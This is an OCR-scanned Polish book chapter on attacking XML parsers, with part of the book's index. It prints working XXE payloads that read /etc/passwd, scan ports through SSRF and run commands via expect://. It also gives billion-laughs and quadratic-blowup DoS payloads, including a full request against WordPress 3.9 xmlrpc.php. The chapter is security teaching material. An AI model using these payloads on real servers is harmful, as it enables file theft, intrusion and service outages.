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Ataki XML

W tym rozdziale przedstawie niektére techniki ataku analizatoréw skladniowych XML. Anali-
zatory XML to najczesciej programy lub biblioteki, ktére przyjmuja dokument XML, a nastepnie
analizujg, go i przetwarzajg do tatwej w obrobee formy. Format XML (ang. eXtensible Markup
Language) jest nadal bardzo popularnym formatem wymiany danych. Sktadnia XML przypomi-
na skladnie jezyka HTML, ale stuzy tylko do przechowywania danych, cho¢ w nieco bardziej
ustrukturyzowanym formacie. Standardowy dokument XML to zwykly plik tekstowy, ktéry sam
z siebie nic nie robi. Potrzebny jest wiec osobny program, ktéry odczytuje zawarto$é pliku i na
jego podstawie wykonuje inne dzialania. Z tego powodu ataki nie dotyczg samych plikéw, ale
narzedzi ich przetwarzajacych. XML to otwarty standard wspierany przez W3C (ang. World Wide
Web Consortiwm). Zanim przejde do sposobu ataku, pokrétce opisze sam format XML.

Kilka atakéw prezentowanych w rozdziale wykorzystuje technike DoS (ang. Denial of Service). Pamietaj,
aby testowac jg tylko i wylacznie w kontrolowanym $rodowisku, ktére mozna bez szkod dla firmy przywréci¢
do petnej sprawnosci. Nigdy nie uzywaj tych technik w srodowiskach produkcyjnych — mozesz zostac¢
zwolniony, a nawet trafi¢ do wiezienia!

W tym rozdziale poruszymy nastepujgce tematy:
B podstawy formatu XML;
B atak XXE — wykorzystanie zewnetrznych encji XML;
B uzycie XML do kwadratu.
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Podstawy formatu XML

Zanim przejdziemy do wlasciwych atakéw, warto pozna¢ podstawy XML. Format ten powstal,
poniewaz wecze$niej dane przechowywano w formacie sptaszczonym, co utrudniato zar6wno
obstuge danych, jak i przenoszenie ich miedzy systemami. Dla kazdego splaszczonego pliku
programista musial napisa¢ odpowiedni analizator i kod wezytujacy. Dokladnie to samo zadanie
musial wykona¢ w druga strone, aby zapisa¢ plik. W przypadku XML sytuacja jest znacznie
prostsza — istniejg generyczne analizatory XML, ktére potrafig przeanalizowaé kazdy poprawnie
skonstruowany dokument XML. Dodatkowo format XML jest czytelny dla ludzi.

Bardzo prosty dokument XML moze mie¢ postaé:

<?xml version="1.0" encoding="UTF-8"?>
<student>
<name>James Jones</name>
<rol1 >PACKT/1001/16</rol11>
<dob>17-01-1947</dob>
<address>Birmingham, United Kingdom</address>
</student>

Elementy XML

Przedstawiony dokument XML zawiera kilka r6znych znacznikéw przechowujacych réznego
rodzaju dane miedzy znacznikami poczatku i kofica. Dokument XML rozpoczyna sie od pream-
buly, czyli krétkiej deklaracji, ze jest to dokument XML, i informacji o rodzaju kodowania.
W przyktadzie dokument uzywa kodowania UTF-8. Nastepnie pojawiajg sie znaczniki, a kazdy
z nich ma w sobie pewne dane. Calo$¢, czyli znacznik otwierajacy, znacznik zamykajacy i zawar-
to$¢, nazywa sie elementem. Nazwa elementu wynika z wymagan lub innych czynnikéw.

Oto przyklad:
B <name>James Jones</name> to pelny element;
B <name> to znacznik otwierajacy;
B James Jones to tresé elementu;
|

</name> to znacznik zamykajgcy.

Znaczniki sg czufe na wielkos¢ liter, wiec znacznik otwierajacy musi mie¢ taka samg postac jak znacznik
zamykajacy. W przeciwnym razie analizator zgtosi bfad.

Dokumenty XML muszg zawiera¢ tylko jeden element bazowy (korzen). W przedstawionym
przykladzie jest nim element <student> ... </student>.
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Atrybuty XML

Rozwazmy dokument XML:

<?xml version="1.0" encoding="UTF-8"?>
<bTogger>
<blog id="123">
<post>Hello World</post>
<owner>James Jones</owner>
</blog>
</blogger>

Zauwaz, ze element <blog> ... </blog> zawiera powigzany z nim atrybut o nazwie id i wartosci 123.
Atrybut to warto$é powigzania z elementem. Warto podkreslié, ze warto$¢ atrybutu musi
znajdowacé sie w cudzystowach pojedynczych lub podwdjnych.

XML DTD i znaki specjalne

XML DTD to dokument, ktéry stuzy do sprawdzenia poprawnosci dokumentu XML pod katem
spelienia pewnych warunkéw — dokument XML moze byé poprawny sktadniowo, ale nie
spelnia¢ warunkéw DTD. Mozna powiedzied, ze jest to pewnego rodzaju szablon walidacyjny
zawierajacy informacje o dopuszczalnych elementach i atrybutach.

Wewnetrzny DTD
Rozwazmy nastepujacy dokument XML:

<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE student [
<!ELEMENT student (name,rol1,dob,address)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT rol1 (#PCDATA)>
<!ELEMENT dob (#PCDATA)>
<!ELEMENT address (#PCDATA)>
]>

<student>
<name>James Jones</name>
<rol1>PACKT/1001/16</ro11>
<dob>17-01-1947</dob>
<address>Birmingham, United Kingdom</address>
</student>

Dokument XML zawiera osadzony w sobie DTD, ktéry definiuje dopuszczalng strukture danych.
DTD wykorzystuje bardzo prosty zapis, wiec jego interpretacja nie powinna sprawi¢ wiekszych
probleméw:
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<IDOCTYPE student — wskazuje, ze korzeniem calej struktury bedzie element student;

B <!ELEMENT student (name, roll, dob, address) — informuje, ze element student
bedzie zawieral w sobie cztery inne elementy: name, rol11, dob i address;

B <!ELEMENT name (#PCDATA)> — wskazuje, ze element name jest typu PCDATA, czyli
zawiera dane tekstowe; podobne zapisy dotycza elementéw rol1, dob i address.

Po cze$ci DTD zaczyna sie whasciwy dokument XML.

Opisywany DTD nazywa sie osadzonym DTD, poniewaz znajduje siec wewnatrz dokumentu
XML z danymi.

Zewnetrzny DTD
Tym razem rozwazmy nastepujacy dokument XML:

<?xml version="1.0" encoding="UTF-8"?>
<!IDOCTYPE student SYSTEM "student.dtd">
1>
<student>
<name>James Jones</name>
<rol11>PACKT/1001/16</rol11>
<dob>17-01-1947</dob>
<address>Birmingham, United Kingdom</address>
</student>

Tym razem w dokumencie XML znajduje sie tylko i wylacznie adres URL do dokumentu DTD.
Analizator pobierze plik student.dtd i sprawdzi na jego podstawie poprawnosé dokumentu XML.
Plik DTD zawiera nastepujaca tre$c:

<!ELEMENT student (name,roll,dob,address)>

<!ELEMENT name (#PCDATA)>

<!ELEMENT rol1 (#PCDATA)>

<IELEMENT dob (#PCDATA)>
<!ELEMENT address (#PCDATA)>

Poniewaz rozdzieliliémy dokument XML i jego opis na potrzeby walidacji, dokument DTD
nazywamy zewnetrznym DTD.

Encje XML

Skladnia XML wymaga kodowania pewnych znakéw. Dotyczy to przede wszystkim znakéw,
ktére sg standardowo uzywane do oznaczania znacznikéw, np. < i >. Kazda zakodowana instruk-
¢ji zaczyna sie od znaku & i koficzy znakiem ;. Zakodowany znak < ma postaé &1t;. Ponizsza ta-
bela zawiera kodowanie podstawowych znakéw specjalnych w przekazywanych danych:
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Znak Zakodowana wersja
& damp;

< &1t

> &gt;

" gquot;

! &apos;

Zobaczmy, jak wyglada uzycie znakéw specjalnych w danych zawartych w dokumencie XML:

<?xml version="1.0" encoding="UTF-8" ?>
<student>

<less>&1t;</less>
</student>

Deklaracja engji

Poza encjami dla znakéw specjalnych mozemy réwniez samodzielnie definiowaé inne encje,
ktére odnosza sie do informacji wewnatrz lub na zewnatrz dokumentu.

Rozwazmy nastepujacy kod XML:

<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE student [
<!ELEMENT student (#PCDATA)>
<IENTITY name "James Jones">
1>

<student>&name;</student>

Dokument XML czeSci DTD zawiera znacznik <!ENTITY name "James Jones">, ktéry definiuje
&name; jako warto$¢ James Jones. Jest to tak zwana deklaracja wewnetrzna, poniewaz wszystko
znajduje sie w tym samym dokumencie i nie trzeba pobiera¢ danych z zewnatrz.

Mozemy réwniez korzystaé z zewnetrznych DTD do definiowania encji. Rozwazmy nastepujacy
przyklad:

<?xml version="1.0" encoding="UTF-8"?>

<IDOCTYPE student [

<!ELEMENT student (#PCDATA)>
<IENTITY sname SYSTEM "https://www.prakharprasad.com/external.xml">

1>
<student>&sname;</student>

Aby zadeklarowa¢ zewnetrzng encje, uzywamy formatu:

<!ENTITY nazwa SYSTEM "URI">

Po przeczytaniu dokumentu XML przez analizator zaczyna on obstuge zewnetrznych URI na
podstawie zdefiniowanego mechanizmu ich pobierania. Zewnetrzny plik pobiera pliki wewnetrz-
ne i zastepuje nimi wskazane wystgpienia. W przedstawionym przykladzie adresem URI jest
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https:/fwww.prakharprasad.com/external.xml, a nazwa encji jest &sname;. Plik external. xml zostanie
pobrany, a jego tresé zastapi kazde wystapienie &sname; w elemencie <student> ... </student>.
Zewnetrzne encje to z perspektywy testera penetracyjnego bardzo dobry wektor ataku. Sposéb
ich wykorzystania oméwie w nastepnym podrozdziale dotyczacym ataku XXE.

Atak XXE

Atak XXE (ang. XML eXternal Entity) wykorzystuje mozliwo$¢ wezytywania w dokumentach
XML innych plikéw. Mozemy wykorzysta¢ cze$¢ URI do wykonywania zadan takich jak odczyt
plikéw, wydobywanie danych, podkradzenie zgdania po stronie serwera, a nawet wykonanie
dowolnego kodu.

W niektorych z prezentowanych przyktadéw celowo wigczytem kilka modutéw PHP, miedzy innymi wezytywa-
nie zewnetrznych engji, obstuge fopen i modut expect. Domyslna instalacja PHP ma te elementy wytgczone.

Pamietaj, ze atak XXE dotyczy wszystkich platform serwerowych, wiec nawet jesli pewien modut jest
zablokowany domysInie dla jezyka PHP, to moze zadziata¢ na serwerze uzywajacym ASP, JSP itp.

Rozwazmy nastepujacy fragment kodu PHP przetwarzajacy dokument XML:

<?php
$xml = § POST["xm1"];
$student = simplexml_load string($xml,'SimpleXMLETement',LIBXML_NOENT);
7>
<html>
<title>Name Game</title>
<body>
<h3>
<pre>
Your name is <?php echo $student->name; ?>
</pre>
</h3>
</body>
</html>

Przedstawiony kod po prostu wyswietla imie przekazane wewnatrz dokumentu XML przesylane-
go zadaniem typu POST. Przedstawmy przyklad dziatania. Oto zrzut ekranu pokazujacy u gory
przesytany dokument XML, a na dole odpowiedZ wyswietlang przez PHP po jego przetworzeniu
(zobacz rysunek na nastepne;j stronie).

Fatwo zauwazymy, ze PHP wydobywa z dokumentu XML dane osadzone w elemencie name i po
prostu je wySwietla. Zacznijmy wykorzystywaé adresy URI dotyczgce zewnetrznych encji.
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[ ¥XEDemo x

& 2> C | @ 192.168.1.21/xxe php

Enter your XML here

<name>pP
(,-"student>]

[ Submit

[ Mame Game x
&« C | ® 192.168.1.21/xml.php

Your name is Prakhar Prasad

Odczyt plikéw

Atak XXE umozliwia odezyt plikéw systemowych. To naprawde zadziwiajace, ale mozemy w ten
spos6b odezytaé zawartosé innych plikéw zawierajacych takie dane jak nazwa uzytkownika i hasta
do bazy danych. Aby to zademonstrowa¢, zadeklarujmy zewnetrzna encje i wskazmy adresem
URI plik, ktéry znajduje sie na dysku serwera WWW,.

Do skryptu PHP przekazemy dokument XML o nastepujacej tresci:

<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE student [
<IENTITY oops SYSTEM "file:///etc/passwd">

1>

<student>
<name>&oops ;</name>
</student>

Odpowiedz z serwera bedzie nastepujaca (zobacz pierwszy rysunek na nastepne;j stronie).

Wspaniale! Udato nam sie odezytaé¢ zawartosé pliku /etc/passwd z systemu Linux serwera,
ktéry przetwarzal dokument XML. Wykorzystalismy protokét file://, aby odczyta¢ plik i wy-
$wietli¢ tresé jako zewnetrzng encje. Jesli tylko pozwola na to uprawnienia, mozemy odczytac
w ten spos6b i inne pliki.
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[ Name Game X
& C | ® 192.168.1.21/xml.php

Your name is root:x:©0:9:root:/root:/bin/bash
daemon:x:1l:1l:daemon: fusr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin: /usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync: /bin:/bin/sync
games:x:5:60:games: fusr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd: fusr/sbin/nologin
mail:x:8:8:mail:/var/mail: /usr/sbin/nologin
news:x:9:9:news: /var/spool/news: /usr/sbin/nologin
uucp:x:18:10:uucp: /var/spool/uucp: /usr/sbin/nologin
proxyix:13:13:proxy:/bin:/usr/sbin/nologin
wWwiw-datarx:33:33 1www-data: /var/www: fusr/sbin/nologin
backup:x:34:34:backup: /var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ired:/var/run/ircd: fusr/sbin/nologin

W niektérych $rodowiskach mozliwe jest nawet otrzymanie listy plikéw znajdujacych sie w kata-
logu za pomocg protokotu file://:

<IENTITY oops SYSTEM "file:///etc/ ">

Powyzszy wpis pobierze liste plikéw folderu /etc.

Alternatywa w postaci konwersji Base64 adresu URI w PHP

Mozemy wykorzysta¢ konwersje Base64 adresu URI w PHP jako alternatywe do odczytu plikéw
za pomocag protokotu file://. Stosowanym powszechnie formatem jest:

php://filter/convert.baseb4-encode/resource=/plik/do/odczytu

Powtérzymy wezesniejszy przyklad, ale tym razem uzyjmy sztuczki z konwersja. Fadunek XML
ma postac:

<!DOCTYPE student [
<IENTITY pwn SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
1>
<student>
<name>&pwn;</name>
</student>

Analizator pobierze wskazany plik /etc/passwd, ale zwréci go w postaci zakodowanej przy uzyciu
formatu Base64 (zobacz pierwszy rysunek na nastepnej stronie).

Wystarczy teraz skopiowaé¢ dane, wklei¢ je do dekodera Base64 (np. narzedzia Burp Decoder)
i otrzyma¢ faktyczng zawarto$¢ pliku (zobacz drugi rysunek na nastepnej stronie).
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[ Name Game X
<« C | @ 192.168.1.21/xml.php

Your name is em9vdDp40jA6MDpyb2980i9yb2900i9iak4v¥mFzaApkYWVtb246eDox0jEEZGF 1bW9u0iol

Burp Intruder Repeater Window Help

[Tarqet T Proxy T Spider I Scanner I Intruder T Repeater I Sequencer T Decoder T Comparer T Extender T Project options I User options TAIerts ]

-~

ciwsLDovaGItZS9qZWZmYXIEL2)phiSivXNoCm15c3Fs OngEMTEYQJEXOTpNEVNRTCEBTZX| 2ZXIsLCwE L25vbmy4aXNOZWS0 091 aWdvZmFsc2UK @ Text O Hex |
| Decode as J
| Encode as ...

Hash ...

<

3

I

al Smart decode

(

root:x: 0:0:root:/root:/binfbash Al @ Text Q Hex
daemon:x:1:1:daemon:/usr/shin:fusrfshin/nolegin —
bin:x: 2: 2:bin:fbin: fusrishin/nologin | Decode as .. e
sysx 3:3 sys:/dev /usrfsbinfnologin —
syncox4: 65534 sync:/bin:bin/sync | Encode as ... i
games:x5:60:games /usrfgames: fusrfshin/nologin —
man:x:6:12:man:fvar/cache/man:fusrfsbin/nologin | Hash L ]
lpi7:T:Ip:ivar/spoal/ipd: Jusr/shin/nologin

mail:x:8: :mail fvar/mail: fusr/shin/nologin v | Smartdecode

Przedstawiong technike warto zastosowaé za kazdym razem, gdy podejrzewamy, ze srodowisko
PHP moze by¢ podatne na atak XXE.

SSRF poprzez XXE

SSRF (ang. Server-Side Request Forgery) to mechanizm, ktéry wykorzystamy do ataku — serwer
uruchamiajacy analizator XML wykona na nasz rozkaz polaczenie z dowolnym innym kom-
puterem. Dokladniej podatnosé SSRF opisze w nastepnym rozdziale, a na razie skupmy sie
na uzyciu jej do skanowania portéw. Wykorzystamy adresy URL dotyczace protokotu HTTP,
ale recznie wskazemy numery portéw. Logika jest prosta: gdy analizator sprébuje odczytaé
dane z adresu URI, dla kazdego otwartego portu zwréci strone z btedem HTTP (czasem nawet
z dodatkowa informacjg o ustudze), ale dla zamknietego portu zwréci informacje o problemie
z polaczeniem sie. Ladunek mégtby mieé postac:
<?xml version="1.0" encoding="UTF-8"?>
<!IDOCTYPE student [
<!ENTITY oops SYSTEM "http://scanme.nmap.org:20/">
>
1student>
<name>&00ps ;</name>
</student>

Zauwaz, ze zaczynamy od portu o numerze 20. Zwickszamy numer portu tak dtugo, az znaj-
dziemy otwarty port:
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<!ENTITY oops SYSTEM "http://scanme.nmap.org:20/">
<IENTITY oops SYSTEM "http://scanme.nmap.org:21/">
<IENTITY oops SYSTEM "http://scanme.nmap.org:22/">

<IENTITY oops SYSTEM "http://scanme.nmap.org:X/">

Dla portu o numerze 20 otrzymaliémy informacje: Connection refused i failed to load external
entity:

o o »
[ Mame Game X
3 21/xmlphp aal @ 15 [
< C | ® 192168.1.21/ w| b m m B G

Warning: simplexml_load_string(http://scanme nmap.org:20/): failed to open stream: Connection refused i /var/www/html/xml php on line 5
Warning: simplexml load_string(): I'O warning : failed to load external entity "htp:/scanme nmap.org:20/" i /var/www/html/xmlLphp on line 5

Warning: simplexml_load_string(): Entity: line 6: parser error © Failure to process entity oops i /var/www/htmlUsmLphp on line 5

Podobng informacje otrzymujemy dla portu 21, ale dla portu 22 otrzymalismy inny blad, co $wiad-
czy o tym, ze port jest otwarty:

[% Name Game X

& C | ® 192.168.1.21/xmlphp | ™ 0 28]

(Warning: simplexml_load_string(http://scanme nmap.org:22/): failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-
2ubuntu? 8 i Avar/www/htmlxmlphp on line 5

'Warning: simplexml_load_string(): 'O warning : failed to load external entity "hitp://scanme nmap.org:22/" in /var/www/html/xmLphp on line 5

'Warning: simplexml_load_string(): Entity: line 6: parser error : Failure to process entity oops mn /var/www/htmlxml.php on line 5

Co istotne, otrzymali$my nawet informacje o ustudze, ktéra nastuchuje na porcie 22 — jest to
ustuga OpenSSH. Tego rodzaju skanowanie portéw mozemy przeprowadzi¢ bardzo szybko.

Zdalne wykonywanie kodu

Mozliwos$é zdalnego wykonania kodu na serwerze to zawsze kuszaca oferta. Jesli tylko mozemy
wykorzystaé obstuge protokotu URI expect:// zapewniang przez PHP, warto z niej skorzysta¢
do uruchamiania polecen na serwerze. Dokumentacja PHP wskazuje, ze wystarczy umiescié
po elemencie expect:// nazwe polecenia (zobacz pierwszy rysunek na nastepne;j stronie).

Rozwazmy wiec ponizszy tadunek XML, ktéry spowoduje wykonanie kodu, jesli jest wlaczona
obsluga protokotu expect://:
<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE name [
<!ENTITY rce SYSTEM "expect://id">
1>
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expect://

expect:// — Process Interaction Streams

Description

Streams opened via the expect:// wrapper provide access to process'es stdio, stdout and stderr via PTY.

Note: This wrapper is not enabled by default
In order to use the expect:// wrapper you must install the » Expect extension available from » PECL.

expect:// PHP 4.3.0 and up (PECL)

Usage

o expect://command

Dokumentacja PHP dotyczaca expect://
<student>
<name>&rce;</name>

</student>

Powyzszy kod wykonal polecenie id na serwerze z systemem Linux:

[ Mame Game X
&« C | ® 192.168.1.21/xmlphp

Your name is uid=33(www-data) gid=33(www-data) groups=33(www-data)

Na tym zakoficzymy prezentacje zdalnego wykonywania kodu. Przejdzmy teraz do atakéw DoS
poprzez XXE.

Atak DoS poprzez XXE

Mozemy zmusié¢ serwer podatny na XXE do odczytywania plikéw takich jak /dev/random lub
/dev/urandom, co najprawdopodobniej spowoduje ich zawieszenie. Juz wezesniej skorzystalismy
z protokotu file:// w definicji dokumentu XML, wiec sprébujmy odczytaé zawarto$é
/dev/random i wstawi¢ ja jako element zastepujacy encje:

<?xml version="1.0" encoding="UTF-8"?>
<IDOCTYPE student [

<IENTITY oops SYSTEM "file:///dev/random">
1>
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<student>
<name>&oops ;</name>
</student>

Tego rodzaju tadunek, jesli zostanie wykonany wielokrotnie, moze spowodowaé¢ znaczace
spowolnienie dziatania serwera, a nawet jego unieruchomienie. Oto przykladowy efekt takiego
ataku na moim serwerze testowym:

L @ [ sandbox.prakharprasad.cor x
« C [ https://sandbox.prakharprasad.com/xml.php w -nrn
E r_ rO r- 5 24 Ray ID: Zbb3cb7520482fd5 » 2016-06-30 13:58:38 UTC
You Chennai sandbox.prakharprasad.com
Error

Zrzut ekranu przedstawia blad CloudFlare zwigzany z faktem, iz méj serwer przestal odpo-
wiada¢ na zadania (z powodu ataku). Przyjrzyjmy sie dokladniej sposobowi ataku przy uzyciu
techniki nazywanej XML do kwadratu.

XML do kwadratu

Atak tego rodzaju to specjalny atak typu DoS na analizator danych XML. Zanim jednak przejde
do opisu tej techniki, wyjasnie inng technike ataku, nazywang miliard u$mieszkéw, ktéra obecnie
juz nie dziala, ale wyjasni podstawy wlasciwego ataku.

Miliard usmieszkow

Atak DoS typu miliard u§mieszkéw zaczynamy od zadeklarowania dokumentu XML z encja
o nazwie 1ol (wlasnie od tej nazwy wziela swoéj poczatek nazwa ataku, ale w praktyce mozna
uzyé dowolnej innej nazwy). Encje zagniezdzamy rekurencyjnie 10 lub wiecej razy. Wymusi to
na analizatorze XML zarezerwowanie pamieci dla kazdej encji. Zostanie zmarnowane naprawde
duzo pamieci do przesylania tego samego dokumentu XML, co najprawdopodobniej doprowadzi
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do brakéw w pamieci serwera WWW. Niestety, nowoczesne analizatory wykrywaja obecnie
zagniezdzone encje XML i zatrzymujg analize. Klasyczny przyklad ataku tego typu przedsta-
wiam ponize;j:
<?xml version="1.0"?>
<IDOCTYPE Tolz [
<IENTITY 1ol "lol">
<IENTITY 1011 "&101;&101;&107;&107;&101;&101;&101;&101;&101;&101;">
<IENTITY 1012 "&1011;&1011;&T011;&T011;&1011;&1011;&1011;&1011;&1011;&1011;">
<IENTITY 1013 "&1012;&1012;&1012;&1012;&1012;&1012;&1012;&1012;&1012;&1012;">
<IENTITY 1014 "&1013;&1013;&T013;&1013;&1013;&1013;&1013;&1013;&1013;&1013;">
<IENTITY 1015 "&1014;&1014;&T014;&1014;&1014;&1014;&1014;&1014;&1014;&1014;">
<IENTITY 1016 "&1015;&1015;&T015;&1015;&1015;&10155&1015;&1015;&1015;&1015;">
<IENTITY 1017 "&1016;&1016;&1016;&1016;&1016;&1016;&10163&10163&1016;&1016;">
<!ENTITY 1018 "&1017;&1017;&1017;&1017;&1017;&1017;&1017;&1017;&1017;&1017;">
<!ENTITY To19 "&1018;&1018;&1018;&1018;&1018;&1018;&1018;&1018;&1018;&1018;">
1>

<lo1z>&1019;</101z>

Cho¢ ten konkretny atak nie jest juz mozliwy do zrealizowania, stanowi podstawe dla ataku XML
do kwadratu.

Encja do kwadratu

Nowa wersja ataku zamienia zagniezdzone odniesienia do encji na jedng duza encje powtarzang
p6zniej w dokumencie XML tysigce razy. W efekcie analizator ponownie musi zarezerwowac
podobnag ilo§¢ pamieci operacyjnej co przy ataku tysigca usmieszkow.

Typowy dokument XML wykorzystujacy te sztuczke wyglada nastepujaco:

<?xml version="1.0"?>
<IDOCTYPE student [
<IENTITY X "XXXXXXXXXXXXXXXXX..."> (50 000 - 100 000)

1>
<student>&x;8&x;8&xX;&xX;&xX;&xX;&xX;&X;&X;...</student> (50 000 - 100 000)

Zdefiniowany szablon encji posiada encje o dtugosci kilkudziesieciu kilobajtéw, ktéra nastepnie
w dokumencie XML zostaje powtérzona wiele tysiecy razy. Analizator zostaje zmuszony do
alokacji duzych ilo$ci pamieci, co daje ten sam efekt co miliard usmieszkéw.

Przyktad podatnosci na atak XML do kwadratu w WordPress 3.9

Chyba nie musze nikomu przedstawia¢ platformy WordPress — jest to obecnie chyba najpo-
pularniejszy system do tworzenia blogéw w internecie. Niestety, WordPress 3.9 i starszy byly
podatne na atak XML do kwadratu. Odkry? to izraelski badacz Nir Goldshlager.

WordPress zawiera adres URL dziatajacy jako koncowka systemu XML-RPC, ktéry przyjmuje
dane w postaci XM L. Dane XML przetwarza analizator XML, co pozwala na opisywany wczesniej
atak. Bardzo tatwo w ten spos6b przekroczyé dopuszcezalng ilo§é pamieci przydzielong procesowi
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Apache, w obrebie ktérego dziala analizator. Podatnos$é bardzo tatwo wykorzystaé — wystar-
czy postaé dokument XML-RPC przygotowany w sposéb przedstawiony powyzej. Pelne za-
danie HTTP ma postac:

POST /wordpress/xmlrpc.php HTTP/1.1
Host: sandbox.prakharprasad.com
Connection: keep-alive
Content-Length: 220079
<?xml version="1.0"?>
<IDOCTYPE DoS [
<TENTITY X "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXKXXXXXXXXXXXKXXXX XX XXX XX KX XXXKXKXK o oo ">
1>
<DoS>&x ;& 3 &X 5 &% 5 &X 5 &X 5 &% 3 &% 5 &X 5 &5 &% 5 &X 5 &% 5 &X 5 &X 3 &% 3 &X 3 &X 3 &X 3 &% 3 &X 3 &X
5 &5 &5 X5 &5 &5 &X 5 &5 &5 &X 5 &5 & 5 &5 &3 &X 5 &x 5 & 3 &X 5 &x 5 &x 5 &X 5 &x 5 &x 5 &X 3
&x ;38X 3 8% 5 85 x5 &x; &x ;8% ;8% 8x; . . .</D0oS>

Fadunek XML wystany do koncéwki XML-RPC zawiera 1000 powtérzen x jako enciji x, ktéra to
w elemencie <DoS> wystepuje w ilosci 40 tysiecy. Wielokrotnie wysylajac to samo zadanie do
serwera, zuzyjemy calg dostepna pamieé. Zuzycie pamieci RAM i CPU osiggnelo maksimum,
co przedstawia ponizszy rysunek:

+32 /usr/sbin/apache2 -k start

«08 /usr/sbin/apache2 -k start

.93 /usr/sbin/apache2 -k start

+51 /usr/sbin/apache2 -k start

.72 /usr/sbin/apache2 -k start

+79 /usr/sbin/apache2 -k start
00.77 /usr/sbin/apache? -k start
:13.62 /usr/sbin/apache2 -k start
9:11.99 /usr/sbin/apache? -k start

Podobng podatno$é¢ wykryto réwniez w platformie Drupal CMS. Na tym koniczymy opis atakéw
z uzyciem XML.

Podsumowanie

W tym rozdziale przedstawiliémy rézne techniki wykorzystania analizatora XML lub innej ustu-
gi, ktéra korzysta z przetwarzania danych XML. Analizatory XML spotyka sie obecnie w wielu
aplikacjach w postaci konicowek API, ustug XML, a nawet plikéw przesylanych na serwer
poprzez formularz na stronie WWW. Wiele z tych system6éw nie jest poprawnie skonfigurowa-
nych, co umozliwia zastosowanie atakéw XXE. Testuj ataki XXE i DoS w kontrolowanym $rodo-
wisku, a by¢ moze uda Ci sie wykona¢ zdalny kod na serwerach Facebooka, jak to miato juz
miejsce w przeszlosci: hitp:/iwww.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution.

W nastepnym rozdziale przedstawie kilka nowych wektor6w ataku, takich jak wstrzykiwanie
obiektéw PHP, RPO itp.
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plik
encja zewnetrzna, 171, 172
korzen, 168
preambula, 168
sprawdzanie poprawnosci,

169, 170

XML DTD, 169
wewnetrzny, 169
zewnetrzny, 170

pochodzenie, 18

wyjatki, 19

zmiana miejsca, 19

POI, 204, 207, 208

polecenie

dig, 36

exec, 129

INSERT, 119

nslookup, 36

passthru, 129

pentl_exec, 129

popen, 129

powtoki, 129

proc_open, 129

shell_exec, 129

system, 129

UPDATE, 119

powloka

b374K, 131, 132, 133

C99/R57, 131

Linux Meterpreter, 165

Metasploit, Patrz: Metasploit
powloka

Meterpreter, 162, 165

odwrotna, 133, 134, 150

polecenie, Patrz: polecenie
powloki

SQL, 119
interaktywna, 120

systemowa, 133
serwera WWW, 208

wielofunkeyjna, 131

pre-flight request, Patrz: zadanie

wstepnego sprawdzenia

protokot, 185

dict, 186

expect, 186

file, 186

ftp, 186

gopher, 186

http, 186
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HTTP, 227
kod odpowiedzi, 228, 229
nagléwek, 229
uwierzytelnianie, 230

https, 186

imap, 186

javascript, 59

Idap, 186

mailto, 186

OAuth, 211

ogg, 186

pop3, 186

smtp, 186

telnet, 186

tftp, 186

przegladarka
atak, 83

Internet Explorer, Patrz: IE

lista zdarzen, 78
przejecie sesji, 75, 78, 80
uruchamianie modultéw
atakujacego, 78
wysylanie zadati HTTP, 80
przekierowanie 307, 96
punkt zaczepienia, 76, 77, 80

R

Rails, 188
Repeater, 231
REST, 225
Reverse IP Lookup using
YouGetSignal, 35

RFI, 26
robak Samy, 62
Rogers Jake, 121
Rosetta Flash, 94, 95
router

hasto, 50

WiFi, 201

ZTE OX253P, 49
RPO, 196, 200

Safari, 96
sekret klienta, 215
serializacja, 205, 206

serwer
Apache, 141, 142, 156
autoryzacji, 214, 217
blad, 219, 220, 222
LAMP, 161
lista, 37
MySOL, 150
posredniczacy, 124, 140
skanowanie portéw, 183, 184
wspoltdzielony, 50
WWW jako posrednik, 181
zdalne wykonanie kodu, 176
Shodan, 35, 48
kryteria, 48
skrypt
modyfikujacy, 121, 123
PHP SetHandler, 142
Slack, 65, 69, 211, 222
stowo kluczowe
download, 38
hidden, 38
random, 38
sandbox, 38
test, 38
Smith Garrett, 194
SOP, 17, 18, 20, 21
Sothink SWF Decompiler, 70
SQL powloka, Patrz: powloka
SOL
SQLMap, 97, 99, 101
instalacja, 98
optymalizacja, 109
plik systemowy
odezyt, 111, 112
zapis, 111, 113, 114
pobranie wszystkich danych,
106
polaczenie
HTTP trwale, 108
NULL, 108
powloka SQL, 119, 120
przewidywanie danych
wyjsciowych, 108
tryb kreatora, 105
wielowatkowosé, 107
ssh2, 186
SSLStrip, 72
SSRF, 175, 181, 182
MailChimp, 187
skanowanie portéw, 183, 184
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strona podmiana zawartosci, 58
SubBrute, 34, 39
subdomena, 38, 39
liczba dziennych odwiedzin,
48
lista, 36, 46, 50

T

Tamper Data, 140
theHarvester, 34, 38
token, 86, 90, 94, 188
CSRF, 191
dostepowy, 214, 215, 217, 231
kradziez, 220
przekierowanie, 222
odgadywanie, 91
staby, 91
walidacja, 91
wstrzykiwanie, 91, 92
transfer strefy, 36, 37
Twitter, 60

U
uzytkownik

autoryzacja, Patrz: autoryzacja

dane, 213

hasto, 99, 103, 104, 173, 230

interfejs, Patrz: interfejs
uzytkownika

nazwa, 99, 103, 104, 115,
173, 230

token dostepowy, 215

uprawnienia, 112, 173, 188,
189, 191, 193

uwierzytelnienie, 118

\'}
VHosts, 52
Vimeo, 96
w
WAF, 121
WAMP
atak, 159

skanowanie, 158, 159
uruchamianie, 158
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watek wykonawcezy, 38
WhatWeb, 34, 44
Whitton Jack, 62
WMAP, 157, 159
Wolfram Alpha, 35, 46
WordPress, 55, 179
wstrzykniecie
CSS, 198, 199
kodu SQL, 28, 97, 100, 101
do stron wymagajacych
